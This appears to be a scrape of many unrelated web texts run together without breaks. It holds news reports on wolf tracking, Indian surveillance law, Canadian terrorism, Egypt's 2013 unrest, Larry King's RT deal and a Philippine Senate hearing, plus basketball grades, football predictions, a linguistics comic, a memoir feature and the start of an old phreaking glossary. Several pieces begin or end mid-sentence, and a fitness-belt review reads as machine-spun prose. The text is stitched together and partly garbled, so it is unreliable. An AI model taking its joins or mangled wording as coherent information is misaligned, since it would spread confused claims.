Another study is being commissioned, but that won’t be finished until 2019. Failure to act will “establish US Bank Stadium as the top bird-killing building in the Twin Cities,” the report said.The Odds Of Making The Playoffs Are Not in the Indiana Pacers’ Favor
The Odds Of Making The Playoffs Are Not in the Indiana Pacers’ Favor by Ben Gibson
The Good: The Pacers hold serve in their desperate attempt to make the playoffs. They did not get any help tonight, as both Brooklyn and Boston won, but they managed to fight back at the end and not doom their hopes.
The Bad: The Pistons 3-point shooting. The Pacers repeatedly lost track of shooters and let the Pistons shoot 47.8% from deep on 23 attempts. 4 Pistons hit 2 or more deep balls, and it seemed like every one of their triples came at a pivotal moment.
MVP: Rodney Stuckey. Stuck scored 24 points on 10-of-17 shooting, and finished a team high +11 on the night. He repeatedly abused smaller guards, make 75% of his 3’s, and had only 1 turnover in over 32 minutes.
Indiana Pacers 107 Final
Recap | Box Score 103 Detroit Pistons David West, PF 29 MIN | 3-9 FG | 4-5 FT | 7 REB | 9 AST | 1 STL | 0 BLK | 1 TO | 10 PTS | 0 +/- West didn’t do particularly well from the field (3-of-9), but made his free throws, rebounded against taller players, and dished out a sweet season-high 9 assists. The 17 foot assassin is finding other ways to impact the game, even when his shooting touch is absent.
Solomon Hill, SF 23 MIN | 1-4 FG | 0-0 FT | 0 REB | 1 AST | 1 STL | 0 BLK | 2 TO | 2 PTS | -7 +/- Losing them minutes, Solo
Roy Hibbert, C 24 MIN | 5-7 FG | 0-0 FT | 11 REB | 0 AST | 0 STL | 0 BLK | 0 TO | 10 PTS | -1 +/- The Pistons front line makes for a tough cover, but Hibbert played Andre Drummond relatively well, and hit 5-7 from the field on his way to a double-double.
George Hill, PG 36 MIN | 2-6 FG | 8-8 FT | 3 REB | 9 AST | 1 STL | 0 BLK | 1 TO | 13 PTS | +3 +/- Reggie Jackson repeatedly hurt the Pacers (though not all of his damage was Hill’s fault), but the Hometown Hero played a solid game nonetheless. 13 points on 6 attempts from the field will do, and his 9 assists certainly didn’t hurt; his pretty drop off assist to C.J. Miles stopped the bleeding at a moment the Pacers were in real trouble.
C.J. Miles, SG 28 MIN | 9-17 FG | 1-2 FT | 5 REB | 2 AST | 0 STL | 0 BLK | 2 TO | 24 PTS | +6 +/- Co-MVP. 24 points in 28 minutes is about the best production you can hope for from C.J., and he did it efficiently tonight on 9-of-17 shooting, and 5-of-9 from deep. Hit some of the biggest shots of the game for the Pacers, and was a big part of why they stole this game.
Luis Scola, PF 19 MIN | 2-6 FG | 4-4 FT | 8 REB | 3 AST | 1 STL | 0 BLK | 0 TO | 8 PTS | +4 +/- Did Luis Scola things. Put up a near double double (8 and 8) in just 19 minutes, and hit his free throws. Had a Luis Scola steal and even briefly led a fast break.
Lavoy Allen, PF 3 MIN | 0-0 FG | 0-0 FT | 0 REB | 0 AST | 0 STL | 0 BLK | 0 TO | 0 PTS | -1 +/- Only played 3 minutes, got abused by Andre Drummond on an occasion. Probably not the right matchup for Lavoy to get minutes at the 5.
Paul George, SF 14 MIN | 3-6 FG | 2-2 FT | 4 REB | 2 AST | 0 STL | 0 BLK | 2 TO | 10 PTS | +1 +/- Paul’s offense still has a ways to go; not to say that he shot poorly tonight, but his sharpness comes and goes on that end. On defense, he looks closer and closer to PG seemingly every minute he’s out there.
Ian Mahinmi, C 21 MIN | 3-6 FG | 0-0 FT | 3 REB | 0 AST | 1 STL | 1 BLK | 0 TO | 6 PTS | +3 +/- It is rare to say, but Ian Mahinmi hit some big shots for the Pacers. Had a buzzer beating tip in that stymied Pistons momentum, and a big 2 handed dunk.
Donald Sloan, PG 12 MIN | 0-1 FG | 0-0 FT | 1 REB | 1 AST | 0 STL | 0 BLK | 1 TO | 0 PTS | +1 +/- Didn’t kill the Pacers in his minutes. A massive improvement from last year.One northern Wisconsin tribe will begin trapping and tracking wolves in the Bayfield Peninsula this fall.
The Red Cliff Band of Lake Superior Chippewa received a roughly $75,000 grant from the Bureau of Indian Affairs to help the tribe track wolves. Jeremy St. Arnold, tribal wildlife and forestry biologist, said the money will pay for traps and satellite collars to pinpoint wolf movements.
"We’re curious if they harass farms, if they harass bear dogs and things like that," he said. "We’re trying to mitigate conflict and learn as much about these packs as we can."
The tribe plans to collar two packs this fall and expand wolf-tracking as more funding becomes available. St. Arnold said they’ll begin collaring the Little Sioux River and Echo Valley packs. As of this May, there were at least 13 wolves in the Echo Valley pack. There are at least six wolf packs around the Red Cliff reservation.
The collars will relay the location of wolves every 25 minutes versus once a week, which is how often the tribe has been obtaining data from the Wisconsin Department of Natural Resources. The DNR does weekly flyovers to obtain information on all collared wolves in the state.
"That will give us much finer scale data on the movements of those wolves," he said. "When we get clusters from those points, we can then go and investigate those clusters and find out if it’s a kill site, a den site, a rendezvous site."
St. Arnold said the information will be used to learn more about the packs’ prey and behavior over the life of the collars, which span two to three years. The Red Cliff biologist said they hope to better understand wolves moving through the reservation, timber harvests and the Apostle Islands National Lakeshore.
"Wolves are a very important species to the tribe. The tribe looks at the wolf as their brother," he said. "It’s just a very polarizing animal, and I like to — from my angle — to show people that wolves are actually going to help us rather than hinder us from anything."
Congressional lawmakers have been advocating for the de-listing of the gray wolf after the animal was placed back on the Endangered Species list in western Great Lakes states. Farmers and hunters have pushed for de-listing due to wolf attacks on livestock and hunting dogs. However, tribal and wolf advocates say the animal has not yet recovered to its historic range.
The state paid out around $200,500 in wolf damage compensation last year. The DNR has said management of the gray wolf should be returned to states. Figures from the DNR show the state's wolf population has grown to nearly 1,000.FOR YOUR ENJOYMENT very old school.I read your post and this reminded me of you./-/ Phreak Dictionary /-/Here you will find some of the basic but necessary terms that should beknown by any phreak who wants to be respected at all.Phreak : 1. The action of using mischevious and mostly illegalways in order to not pay for some sort of tele-communications bill, order, transfer, or other service.It often involves usage of highly illegal boxes andmachines in order to defeat the security that is setup to avoid this sort of happening |
courts around the nation. There are serious techno legal security issues with projects like Aadhar and they must be resolved as soon as possible. Further, projects like Aadhaar, CCTNS, Natgrid, CMS, etc must also be backed by proper legislation and parliamentary oversight.
The government has to maintain a balance between civil liberties like right to privacy and law enforcement requirements. If a provision mandating compulsory cell phone location tracking for all the phones and others is formulated, it would fell afoul of the constitutional and statutory protections in India.
As on date, phone tapping can be done only through the procedure prescribe under the Indian Telegraph Act, 1885. All passive phone tapings that are not authorised under the Telegraph Act are illegal and punishable. It is immaterial whether a law enforcement agency or private person is indulging in such activity as it would remain illegal and punishable for both in such circumstances.
The real problem is that the law enforcement and intelligence agencies of India are not subject to any practical and effective parliamentary oversight. Indian government must not only make them accountable to the parliament but also formulate new laws keeping in mind the contemporary requirements. The Telegraph Act has long served its purpose and it deserves a complete rejuvenation.
We must also not forget that we have no dedicated privacy laws, data protection laws, data security laws and cyber security laws in India. In these circumstances implementing the central monitoring system project of India would raise serious constitutional challenges and Indian government must avoid the same at all costs.
Source: PTLB Blog.Some people are allergic to the T-word. After a lone gunman stormed Parliament Hill last fall, killing a soldier at the National War Memorial, they said it was not possible to conclude that this was terrorism. More likely, the guy just had mental problems. "I think that we're not in the presence of a terrorist act in the sense that we would understand it," said NDP Leader Thomas Mulcair. "I don't think we have enough evidence to use that word."
In the Vancouver Sun, Ian Mulgrew argued that Michael Zehaf-Bibeau was no terrorist. He was a victim. "The vast amount of tax money devoted to his petty crimes would have been far better spent providing him with appropriate psychiatric and social care," he wrote. As for the two people who plotted to bomb the B.C. Legislature, "They, too, seem more sad sack than Satanic."
Now we know better. Mr. Zehaf-Bibeau's self-made martyrdom video, released by the RCMP last week, is chillingly clear about his motives. "This is in retaliation for Afghanistan and because Harper wants to send his troops to Iraq," he said. "We'll not cease until you guys decide to be a peaceful country … and stop occupying and killing the righteous of us who are trying to bring back religious law in our countries." (In a very Canadian touch, he signs off by saying "Thank you.")
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It's easy to see why certain people want to play down the T-word. The terror threat is a potent weapon in Stephen Harper's arsenal. This explains why media reaction to the video has focused not on what it reveals about the shooter's motives, but on how Mr. Harper is shamelessly milking the terror threat to scare the voters into re-electing him. As political strategist Greg Lyle put it in The Globe on Monday, "If the issue is, who do you think is going to be tough enough to deal with those bastards, the answer is going to be Stephen Harper. It's not going to be Justin Trudeau."
It's true that Mr. Harper is overplaying the threat of terrorism. It's also true that plenty of people are underplaying it. Even sad sacks bent on mayhem can get lucky. And it's disturbingly clear that an increasing number of young Canadians – male and female, Muslims and converts, foreign- and Canadian-born – are being caught up in a radical millenarian death cult.
In Toronto, two men, both Muslims, are on trial for allegedly plotting an attack on a Via Rail train. Their motive, according to the evidence, is the same as Mr. Zehaf-Bibeau's: retaliation for crimes against Islam. Their trial heard that the two are also reported to have discussed other options, such as opening fire on Canadians and Jews at the Pride parade. "I want this city, this whole country, to burn," said Raed Jaser, one of the defendants. And: "Everyone is a target, especially Jews." (His lawyer says he's just a con man and didn't mean it.) The other defendant, Chiheb Esseghaier, has refused to defend himself because the only authority he answers to is the Koran.
In Vancouver, John Nuttall and his wife, Amanda Korody, recent converts to radical Islam, are on trial for allegedly plotting to blow up the B.C. Legislature on Canada Day. They wanted to kill "as many [people] as possible," Ms. Korody says on a surveillance tape. "Twenty thousand of these disbelievers, all drunk, and hookers and drunks, and they're all gonna be there," says her husband.
In Manitoba, another convert, a 23-year-old who calls himself Harun Abdurahman is under investigation by CSIS. An active Twitter user, he has advocated butchery and beheadings, and has told journalists that the terror attacks on Parliament Hill and in Quebec were "justified" by Canada's war on the Islamic State. His devastated father, who is a member of the military, is at a loss to explain how he lost his son to radical extremism.
People who say we're overreacting like to argue that you've got more chance of being killed by a moose than by a terrorist. Maybe so, but they are missing an important point. The moose does not want to become a martyr for the Caliphate. A disturbing number of young Westerners do.
The number of extremists is growing across Canada, according to RCMP Commissioner Bob Paulson. So far, we've done a pretty good job of catching the stupid ones. I only hope we catch the smart ones, too. We shouldn't be spooked by terror threats. But we shouldn't be in denial that they're real.Getty Images Copyright: Getty Images
Walsall are hoping to capitalise on the "disarray" at Crystal Palace as they search for their first appearance in the third round of the League Cup since 2002.
"We are looking forward to it, it will be a really good test," Saddlers manager Dean Smith told the Express and Star. "Palace are a Premier League team and did really well last season but are in a bit of disarray in terms of management.
"We must have scared him (Tony Pulis) off! Things like that are surprising but there are fall-outs at football clubs and from the outside we don't really know what has happened. For us it is one to go and enjoy and we are hopeful we can go and get a result in the game as well."Court: Officer justified in stopping man going 35.8 mph in 35 zone
A federal appeals court says a Waterloo officer was justified in stopping a drug suspect who was driving just barely over the speed limit.The 8th U.S. Circuit Court of Appeals ruled 2-1 on Tuesday that the officer's belief that the car was speeding was reasonable based on the circumstances.An analysis of dash cam video shows Geoffrey Gaffney drove an average speed of 35.8 miles per hour in a 35 zone during the nine seconds the officer observed him.During the stop, police found methamphetamine in Gaffney's car.He later pleaded guilty to possession with intent to distribute and was sentenced to 24 years in prison.Dissenting Judge Kermit Bye says the officer didn't have sufficient basis for the stop and lacked credentials to visually estimate the car's speed.
A federal appeals court says a Waterloo officer was justified in stopping a drug suspect who was driving just barely over the speed limit.
The 8th U.S. Circuit Court of Appeals ruled 2-1 on Tuesday that the officer's belief that the car was speeding was reasonable based on the circumstances.
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An analysis of dash cam video shows Geoffrey Gaffney drove an average speed of 35.8 miles per hour in a 35 zone during the nine seconds the officer observed him.
During the stop, police found methamphetamine in Gaffney's car.
He later pleaded guilty to possession with intent to distribute and was sentenced to 24 years in prison.
Dissenting Judge Kermit Bye says the officer didn't have sufficient basis for the stop and lacked credentials to visually estimate the car's speed.
AlertMeImage caption Egypt's army has been deployed to cities along the Suez Canal where the violence has been at its worst
Egypt's armed forces chief has warned the current political crisis "could lead to a collapse of the state".
General Abdul Fattah al-Sisi, in comments posted on the military's Facebook page, said such a collapse could "threaten future generations".
He made his statement following a large military deployment in three cities along the Suez Canal where a state of emergency has been declared.
More than 50 people have died in days of protests and violence.
In response, President Mohammed Morsi has cut short a planned European trip.
His spokesman said he would still visit Germany on Wednesday as planned, but the two-day trip has been cut to just a few hours and a visit to France has been cancelled.
On Monday night, thousands of people in Port Said, Ismailia and Suez - where some of the worst unrest has been - ignored a night-time curfew imposed by Mr Morsi to take to the streets.
Thousands were again on the streets of Port Said on Tuesday for the latest funerals of those killed, with mourners calling for the downfall of the president.
There were also saw continuing sporadic clashes in the capital, Cairo.
Gen Sisi's lengthy statement appears to be a veiled threat to protesters and opposition forces as well as an appeal for calm and an attempt to reassure Egyptians about the role of the military, the BBC's Yolande Knell in Cairo says.
The Egyptian army appears to be trying to make several statements at once. Gen Sisi's remarks - originally made to students at a military academy - are a strong reminder that the armed forces remain an important political and economic player in Egypt. The general's comments criticised the destabilising power struggle between the different political forces. He is trying to assert the army's independence and its role as "a strong pillar of the state". Gen Sisi served on the Supreme Council of the Armed Forces (Scaf) while it temporarily ruled the country, and the army knows its reputation has been tainted by its time in power. The general now seems to be defining the army's role as recognising the right to peaceful protest while protecting key installations - namely the Suez Canal, one of Egypt's main sources of foreign revenue.
Veiled threat
"The continuing conflict between political forces and their differences concerning the management of the country could lead to a collapse of the state and threaten future generations," Gen Sisi, who is also Egypt's defence minister, said.
He said the economic, political and social challenges facing Egypt represented "a real threat to the security of Egypt and the cohesiveness of the Egyptian state".
The military deployment along the Suez Canal was meant only to protect the key shipping route, one of Egypt's main sources of foreign revenue, and described the army as "a pillar of the state's foundations", he added.
His comments were made in an address to army cadets which were subsequently posted on the military's official Facebook page.
Gen Sisi was appointed by President Morsi after the armed forces handed over power to him following his election in June.
He replaced Field Marshal Hussein Tantawi who had been former President Hosni Mubarak's long-time defence minister and was chairman of the ruling Supreme Council of the Armed Forces (Scaf) following his fall from power in February 2011.
The latest violence, now in its sixth day, has been focused in Port Said.
Egypt's army 490,000 active soldiers
Military governed between February 2011 until June 2012
Gen Abdul Fattah al-Sisi (pictured above) is head of the armed forces and minister of defence
Military's budget not made public or scrutinised by parliament. It is overseen by National Defence Committee made up of military chiefs and cabinet members
US military aid to Egypt 1.3bn
According to some estimates army controls 40% of economy Profile: Abdul Fattah al-Sisi Suez: the city fighting a curfew Q&A: Egypt's riots and political crisis Black Bloc anarchists emerge
It was sparked by death sentences handed down by a court on 21 local football fans involved in riots that left 74 people dead at a football match in the city almost a year ago.
Supporters accuse the authorities of making them into scapegoats, and say security officials at last year's game between the local club, al-Masry, and the Cairo club, al-Ahly, should be held accountable for the deaths.
Protesters elsewhere have been marching in opposition to Mr Morsi's authority in the wake of the Egyptian revolution's second anniversary.
In Cairo on Tuesday police again fired tear gas at protesters near Tahrir Square, and the lobby of a major hotel close to the square was attacked, apparently by looters.
The clashes also prompted Egypt's public prosecutor to call for the arrests of a newly-formed anarchist group known as the Black Bloc.
Its black-clad members have been at the vanguard of the latest protests in Cairo. According to its Facebook page, the group is opposed only to the Muslim Brotherhood - the powerful Islamist group of which President Morsi is a member.
Mr Morsi became Egypt's first freely-elected president in last year's election.
Despite promising to form a government "for all Egyptians", he has been accused by the opposition of being autocratic and driving through a new constitution that does not adequately protect freedom of expression or religion.
His recent call for national dialogue has been rejected by his political opponents.
He had urged opposition leaders to attend a meeting on Sunday evening in an effort to calm the situation, but only Islamists already aligned with the president turned up.
Mr Morsi's supporters meanwhile accuse the opposition protesters of trying to oust a democratically elected president by undemocratic means.Suit man: Greetings Earthling!
Narrative bubble: Question: Does that imply I am an alien?
Suit man: Or that I am merely greeting you as a fellow earthling?
Suit man: When greeting others with that phrase, a weird look is often given back to me.
Narrative bubble: Answer
Regular guy: What's going has to do with the pragmatics of conversation.
Regular guy: In particular, you're flouting a conversational rule, called the Maxim of Quantity.
Regular guy: This rule states that what a person contributes to a conversation should be neither more or less than what is required in the context. It may sound a bit abstruse, but you'll notice when people flout this rule.
Ghost person A: How many kids does Hugh have?
Ghost person B: Oh, he's got one son.
Regular guy: B isn't lying: his statement is true, strictly speaking. After all, if it's true you have two songs, it's also true that you have at least one. But B's not playing by the rules of conversation. He's not telling A all the relevant information. Likewise, it sounds weird if he gives too much information.
Ghost person A: Okay, for real this time: how many kids does Hugh have in total?
Ghost person B: He's got two kids and two dogs.
Regular guy: Now B sounds very strange: why is he saying this? What usually happens at this point is that the listener attempts to figure out why A is telling him too much: there's gotta be some reason B is saying this, right? Why does B think A needs to know this? Does Hugh excessively dote on his dogs? Is B trying to be funny?
Regular guy: Heres's where your example comes in: the person you're speaking to assumes that you know they're from Earth. They also know that you're from Earth. The fact that you're both from Earth and so can be called Earthlings is something that goes without saying. You both know this, so it adds no new relevant information to the conversation when you call them an Earthling.
Regular guy: Then they try to figure out why you're adding this information: what's the points of saying this? Well if would make sense if you weren't from Earth and wanted to draw attention to the fact that they are from Earth (or if you were at a Sci-Fi convention and doing it to express group solidarity or something).
Regular guy: So that must be what's going on: you're an alien.
Regular guy: But of course, you aren't: you look pretty much like a person, act and talk like a person, dress like a person. There's no real reason to say it other than for the heck of it.
Regular guy: So they're confused because you're not playing by the rules that govern conversation, and that makes you come off as uh, strange.Review on Slendertone 7 Program Abdominal Muscle Toning Belt, Whether you're beginning your excursion to attaining a superior body or simply need some additional tone to your level abs accomplishing the ideal sevens packs obliges several sit-ups and hours of your time to make you thin and trim. However imagine a scenario where there was an approach to get the ideal six pack body without needing to do many sit-ups. A snappier and simpler approach to tone your abs whilst doing the least complicated things around the house. Well, look no more remote than Muscle Toning Belt. Need to know more? At that point read on and see our survey of this muscle strength toning belt.
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King says that claim "stretches it a little."
"I don't know what Trump knew. He couldn't have known it was a podcast, because he just did my podcast," King told CNN's Erin Burnett Friday night.
The two men have known each other for decades. After Trump appeared on King's podcast, King repeatedly lobbied Trump for a TV interview, he told Burnett: "I've said, 'You gotta do my TV show,' he said, 'I'm working on it, I'm working on it.'"
Ultimately the arrangements were made by King's producers and Trump's aides.
"He was doing my TV show," King said.
And that's what the ensuing controversy is all about. King's interview programs are produced by Ora, a media company owned by Mexican billionaire Carlos Slim. King owns a piece of the company.
Ora sells King's programs to several distributors -- and the best known outlet is Russia Today, or RT for short.
Russia's various versions of RT, including the English-language RT America channel in the United States, have carried King's interviews for about three years.
King said he has complete independence.
King's Trump interview was taped on Wednesday and shown on Thursday. It was instantly controversial because Trump's ties to Russia and favorable views of Vladimir Putin have been heavily scrutinized during the presidential race.
RT's own web site covered the dust-up this way: "U.S. media, Trump's own campaign freak out about his interview on 'Kremlin RT.'"
On Thursday night the campaign said Trump did the interview "as a favor to Mr. King" and believed it was for a podcast.
On Friday morning campaign manager Kellyanne Conway said "Mr. Trump went on his podcast. Nobody said it would be on Russian TV."
King's podcast and TV show are separate entities.
Speaking with Burnett Friday night, King said the controversy is amusing and "a mountain out of a molehill."
King, a veteran of CNN before partnering with Slim for Ora, defended his editorial independence: "I have never been told what to ask or not to ask."
On his programs, he said, "Russia is criticized. Putin is annihilated. And they have never edited it."
King said he has not heard from Trump since the interview.
Burnett asked him about the strange way the interview ended -- after only ten minutes -- when King tried to ask Trump to describe his feelings about Mexican immigrants. Trump suddenly went silent.
"I don't know what happened there, we did not lose the connection, so something happened," King said on the show.
King said Trump's camp apologized to his producers after the interview for the abrupt ending.
And "not only did they apologize, but they were planning to reschedule another appearance next week," he added.Senate Minority Leader Ralph Recto has expressed alarm over the scope of the emergency powers being sought by President Rodrigo Duterte after an official of the Department of Transportation (DOTr) admitted that it would be used not only in Metro Manila and other key cities but in the entire country.
At the fourth and last hearing of the Senate committee on public services, Recto questioned the scope of the bill submitted by the DOTr to the body as it covers land, sea and air transportation.
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“It would appear that what you want is emergency powers for the entire country—land sea and air— geographically for the entire country. Is that the intention of the DOTr? Is that what you actually requesting for? Kasi kung ganun parang walang focus (because if that were the case, then there’s no focus),” he said.
DOTr Undersecretary Raoul Creencia pointed out that the bill was aimed at addressing the traffic congestion not just in the metropolis but also in other urban areas like Cebu, Davao as well as other areas which are on the verge of experiencing heavy traffic.
“So sa madaling salita, buong Pilipinas (So, in other words, in the entire Philippines)?” Recto asked to which Creencia said, “Yes your honor. Those [areas] that are experiencing and on the verge of experiencing traffic.”
“So maliwanag buong Pilipinas (So, it’s clear that’s it’s for the entire Philippines)?” the senator asked again.
“Yes, your honor. (This is a) wholistic approach to address the problem,” the DOTr official said.
Recto said it would be chaos if a traffic crisis manager will be appointed as proposed in the bill to handle the traffic problem in the entire country, instead of in only three key areas like Metro Manila, Cebu and Davao.
“Kung ang scope na sinasabi nyo ay buong Pilipinas, traffic crisis manager kayo ng buong Pilipinas, hindi lang ng Metro Manila. Once you say buong Pilipinas under this bill, lahat pakikiaalaman nyo as traffic crisis manager?” he pointed out.
(If the scope you are referring to is the whole Philippines, then you would be the traffic crisis manager of the whole Philippines, not just in Metro Manila. Once you say that the whole Philippines is under this bill, you would tackle all as traffic crisis manager?)
“We will pinpoint areas your honor,” Creencia said.
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“So you’ve not pinpointed them today? Yun ang sinasabi ko ngayon, mawawala ang (That’s what I’m saying now, we would lose) focus,” said the senator.
“In effect, traffic crisis manager kayo ng buong Pilipinas, kukunin nyo ang kapangyarihan ng lahat ng local government unit. Ako walang problema sa MMDA, buong Metro Manila sa ngayon ha, subukan natin. Pero bakit buong Pilipinas, magulo yan…
(In effect, you will be the crisis manager of the entire Philippines, you will take the power of all the local government units. I have no problem with the MMDA, for the whole of Metro Manila, for now, but let’s try. But if it’s the whole Philippines, that would be chaotic.)
“Malawak na malawak yung kapangyarihan na nilalagay nyo dito at nakakabahala kung wala talagang plano talaga,” Recto said.
(The scope of power you are putting here is very vast and it’s really alarming if there’s no plan yet.)
Before this, the senator noted that Section 7 of DOTr’s bill provides for the formulation of the decongestion network reform plan.
Recto then asked whether the DOTr already has a plan or it would still craft a new one.
“Kasi it would appear wala pa kayong plano (Because it would appear that you have no plan yet)?” he asked.
Creencia explained while there is already an ongoing preparation for the DOTr plan, the department wants a “decongestion plan” that will involve other concerned agencies.
“So sa madaling salita, wala pa ngang plano (So, simply put, there’s no plan yet)?” Recto asked again to which Creencia answered: “Wala pa po (None yet).”
Recto also questioned where the DOTr would get the funds for its proposed projects under the emergency powers, which was estimated at P1.3 trillion.
The senator pointed out that the proposed emergency powers bill was not a supplemental budget or a General Appropriations Act (GAA).
“We are thinking, your honor, that since we cannot fund it under the GAA–the present funding with the General Appropriations Act…” DOTr Undrsecretary Garry De Guzman said but he was cut by Recto.
“So ibig sabihin (So it means) you’re admitting Usec that it’s not found in the 2017 NEP (National Expenditures Program)?” asked the senator to which De Guzman answered yes.
“So even if we give you emergency powers, there is no funding source,” Recto said again. CDG
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MOST READTottenham took four points off Manchester City last season - could they be the team to end Pep Guardiola's long winning run?
BBC Sport football expert Mark Lawrenson says: "Spurs need to come up with a decent display and preferably result against one of the other top six teams from last season.
"Otherwise they are just going to be labelled as flat-track bullies."
Lawro is going for a 1-1 draw - do you agree? You can make your own predictions now, take on Lawro and other fans, create your own league and try to make it to the top of the table by playing the new-look BBC Sport Predictor game.
Lawro scored 130 points in week 17, which meant he climbed to 2,808th place out of more than 325,000 users.
He will be making a prediction for all 380 top-flight games this season, against a variety of guests.
This week, Lawro takes on actor and WWE star John Cena, who admits he is not exactly a football expert.
Media playback is not supported on this device Nobody does Focus predictions like wrestler John Cena...
Cena told BBC Sport: "If I had to name some famous footballers, I would start and end with Cristiano Ronaldo. That's it.
"If I were to play myself, I would be on the bench because I have watched a few games, and it is a lot of running - I don't run very well, or very far.
"I could maybe go in goal but there is a lot of pressure on the goalie, because the net is so big and the goalies are so small, so it is tough to block the shots.
"So, I think being an inspirational coach might be my best role."
Cena voices a sweet-natured bull in his new film 'Ferdinand'. He thinks footballers would do well as wrestlers, explaining: "The guys seem to fall down quite dramatically when they don't get even get hit, so I think they would do just fine in WWE."
Cena has never been to a Premier League game, but did enjoy a trip to White Hart Lane when he was wrestling in London in 2008.
"Tottenham were playing the same night I had a WWE event in London," he explained. "But I was able to go and see the stadium and I was lucky enough to actually walk on the pitch.
"I really loved it because it was right in the heart of the city - it reminded me of an old baseball stadium with its nostalgia and tradition.
"I got to hear about the Spurs being the working man's team, I got to meet the coach and it was beautiful to see the bright green pitch amidst all the city concrete.
"So I was taken aback by the passion of the sport - although I never got to see them play,"
Premier League predictions - week 17 Result Lawro Cena SATURDAY Leicester v Crystal Palace 0-3 2-0 0-1 Arsenal v Newcastle 1-0 3-0 0-1 Brighton v Burnley 0-0 1-1 0-0 Chelsea v Southampton 1-0 2-0 0-2 Stoke v West Ham 0-3 1-1 0-1 Watford v Huddersfield 1-4 2-0 1-0 Man City v Tottenham 4-1 1-1 0-1 SUNDAY West Brom v Man Utd 1-2 0-2 0-1 Bournemouth v Liverpool 0-4 0-2 0-1 MONDAY Everton v Swansea 3-1 2-0 0-1
A correct result (picking a win, draw or defeat) is worth 10 points. The exact score earns 40 points.
LAWRO'S PREDICTIONS
All kick-offs 15:00 GMT unless otherwise stated.
SATURDAY
Leicester 0-3 Crystal Palace
Lawro's prediction: 2-0
Cena's prediction: 0-1
Match report
Arsenal 1-0 Newcastle
Lawro's prediction: 3-0
Cena's prediction: 0-1
Match report
Brighton 0-0 Burnley
Lawro's prediction: 1-1
Cena's prediction: 0-0
Match report
Chelsea 1-0 Southampton
Lawro's prediction: 2-0
Cena's prediction: 0-2
Match report
Stoke 0-3 West Ham
Lawro's prediction: 1-1
Cena's prediction: 0-1
Match report
Watford 1-4 Huddersfield
Lawro's prediction: 2-0
Cena's prediction: 1-0
Match report
Man City 4-1 Tottenham
Lawro's prediction: 1-1
Cena's prediction: Everyone in the internet world is going to think I am going to choose the Spurs. You're right... Tottenham all the way. 0-1
Match report
SUNDAY
West Brom 1-2 Man Utd
Lawro's prediction: 0-2
Cena's prediction: 0-1.
Match report
Bournemouth 0-4 Liverpool
Lawro's prediction: 0-2
Cena's prediction: 0-1
Match report
MONDAY
Everton 3-1 Swansea
Lawro's prediction: 2-0
Cena's prediction: 0-1
Match report
Lawro was speaking to BBC Sport's Chris Bevan
How did Lawro do last time?
From the midweek Premier League games, Lawro got seven correct results, including two perfect scores, from 10 matches, for a total of 130 points.
He drew with indie band Shed Seven because, although singer Rick Witter got six correct results with no perfect scores, for a total of 60 points, guitarist and keyboardist Joe Johnson also got seven correct results, including two perfect scores, matching Lawro's tally of 130 points.
Total scores after week 17 Lawro 1,490 Guests 1,240
Lawro v Guests P17 W10 D2 L5
SCORE GUEST LEADERBOARD 160 Chris Shiflett 130 James Anderson**, Joe Johnson*** 120 Will Poulter, Moeen Ali 100 Cesaro & Seamus, Wretch 32 88 Lawro (average after 17 weeks) 70 Brendan Foster*, Mark Strong 60 Will Ferrell, Nish Kumar, Non Stanford, Rick Witter 50 Steve Cram, Michael Dapaah, Channing Tatum, Osi Umenyiora and Jason Bell, Joe Root 30 Felix White 20 Richard Osman
*Foster and Cram both provided predictions on week one, but only Foster's score contributes to the guest total.
**Anderson and Moeen both provided predictions on week nine, but only Anderson's score contributes to the guest total.
***Witter and Johnson both provided predictions on week 17, but only Johnson's score contributes to the guest total.
Lawro's best score: 150 points (week eight v Wretch 32)
Lawro's worst score: 40 points (week four v Umenyiora and Bell, and week five v Non Stanford)Barbara Mackay Cruise has vivid memories of her father, who was the head of what is now known as ASIO, having'secret' meetings in the backyard of their Canberra home with then-prime minister Ben Chifley.
"In the 1940s and 50s Canberra wasn't much of a town, there was absolutely nothing there. So Chifley, who didn't have any bodyguards, would just walk over to our house and my mother would give him coffee and cheese scones before the men went out to talk business," Cruise told HuffPost Australia.
Fairfax Media Italian migrants arriving in Australia in the 1950s
Cruise's father Noel W. Lamidey, was an English immigrant who arrived in Australia in the 1919 and went on to establish one of the most extraordinary migration schemes the world had ever seen.
Cruise has written a book in memory of her father's achievements; Immigrants and Spies: my father, my memories.
"During his tenure he was the old-style public servant with no political affliations, who served whichever government was in power. He came to know 12 prime ministers personally, and served seven of them," Cruise said.
Barbara Mackay Cruise
In 1946 the Chifley government sent Lamidey to London, putting him in charge of establishing Australia's Migration Scheme. He worked closely with MI5 and MI6 to ensure that migrants guilty of crimes against humanity, did not reach Australian shores.
Cruise said, being a migrant himself, her father had an interesting perspective of looking after the intake of migrants here.
Barbara Mackay Cruise Noel W Lamidey with wife in Sydney
"He came to Australia immediately after WWI, when he was about 27, and nobody wanted him. The trade unions were against him having a job because he came from London. So it wasn't easy for him and so he had real empathy for the migrants when it came time for him to set up this great big government job twenty years later," Cruise said.
In the aftermath of WWII, 1939-45, the Australian government implemented a large-scale Migration Programme to stimulate economic development and to increase the population should war break out again.
Immigrants and Spies Noel W Lamidey (far right) with politician Arthur Calwell (centre) inspecting ships in the yards
The proportion of the Australian population born overseas rapidly increased from 9.8 per cent in 1947 to around 20 per cent in 1971.
"At the end of the Second World War the whole of Europe was in chaos – millions of people needed food, warmth and shelter, but none was available," Cruise said.
Immigrants and Spies Noel W Lamidey with Lady Harrison, and migrant children at Australian House, 1950.
"In the beginning, my father's biggest problem was accommodation. They had thousands of migrant huts that could fit up to twenty people but the English didn't like it, even though they had been bombed out of their homes in London. They weren't happy with the new homes they'd been offered so my father was trying to make everybody happy."
Cruise said above all of his achievements, her father was a great humanitarian.
"He absolutely hated what had happened during the war, particularly the plight of the Jewish people. My father would get terribly upset and he would say 'They are people, just like you and me.' There were thousands of them with no homes, all fleeing persecution and they were frightened and all very fearful of authority," Cruise said.
Immigrants and Spies |
to everything, this beast will have no fuel to destroy.
For more information on Animal Agriculture, visit www.Cowspiracy.comNovember 27, 2017
Cooperate with Russia? By Frederic C. Hof
